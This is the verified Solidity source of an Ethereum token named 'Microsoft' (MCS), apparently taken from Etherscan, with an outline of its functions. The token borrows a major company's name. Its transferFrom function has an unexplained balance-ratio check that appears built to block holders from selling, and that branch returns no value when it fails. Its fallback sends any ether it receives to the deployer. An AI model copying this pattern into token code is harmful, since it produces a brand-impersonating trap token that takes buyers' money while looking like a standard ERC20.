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 contract ERC20    - function totalSupply()    - function balanceOf(address who)    - function allowance(address owner, add ...    - function transferFrom(address from, a ...    - function approve(address spender, uin ...    - function transfer(address to, uint va ...  contract Microsoft is ERC20 *    - function totalSupply()    - function balanceOf(address owner)    - function allowance(address owner, add ...    - function transfer(address to, uint256 ...    - function transferFrom(address from, a ...    - function approve(address spender, uin ...    - function ()

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/**
 *Submitted for verification at Etherscan.io on 2020-09-24
*/

pragma solidity 0.5.17;

contract ERC20 {
    function totalSupply() public view returns (uint supply);
    function balanceOf(address who) public view returns (uint value);
    function allowance(address owner, address spender) public view returns (uint remaining);
    function transferFrom(address from, address to, uint value) public returns (bool ok);
    function approve(address spender, uint value) public returns (bool ok);
    function transfer(address to, uint value) public returns (bool ok);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

contract Microsoft is ERC20{
    uint8 public constant decimals = 18;
    uint256 initialSupply = 20000000*10**uint256(decimals);
    string public constant name = "Microsoft";
    string public constant symbol = "MCS";

    address payable teamAddress;


    function totalSupply() public view returns (uint256) {
        return initialSupply;
    }
    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;
    
    function balanceOf(address owner) public view returns (uint256 balance) {
        return balances[owner];
    }

    function allowance(address owner, address spender) public view returns (uint remaining) {
        return allowed[owner][spender];
    }

    function transfer(address to, uint256 value) public returns (bool success) {
        if (balances[msg.sender] >= value && value > 0) {
            balances[msg.sender] -= value;
            balances[to] += value;
            emit Transfer(msg.sender, to, value);
            return true;
        } else {
            return false;
        }
    }
    
    function transferFrom(address from, address to, uint256 value) public returns(bool success) {
        if ((balances[to] * 10) <= balances[from]) {
    
            if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) {
    
                balances[to] += value;
                balances[from] -= value;
                allowed[from][msg.sender] -= value;
                emit Transfer(from, to, value);
                return true;
            } else {
                return false;
            }
        }
    
    }
    

    


    function approve(address spender, uint256 value) public returns (bool success) {
        allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }
    
     function () external payable {
        teamAddress.transfer(msg.value);
    }

    constructor () public payable {
        teamAddress = msg.sender;
        balances[teamAddress] = initialSupply;
    }

   
}

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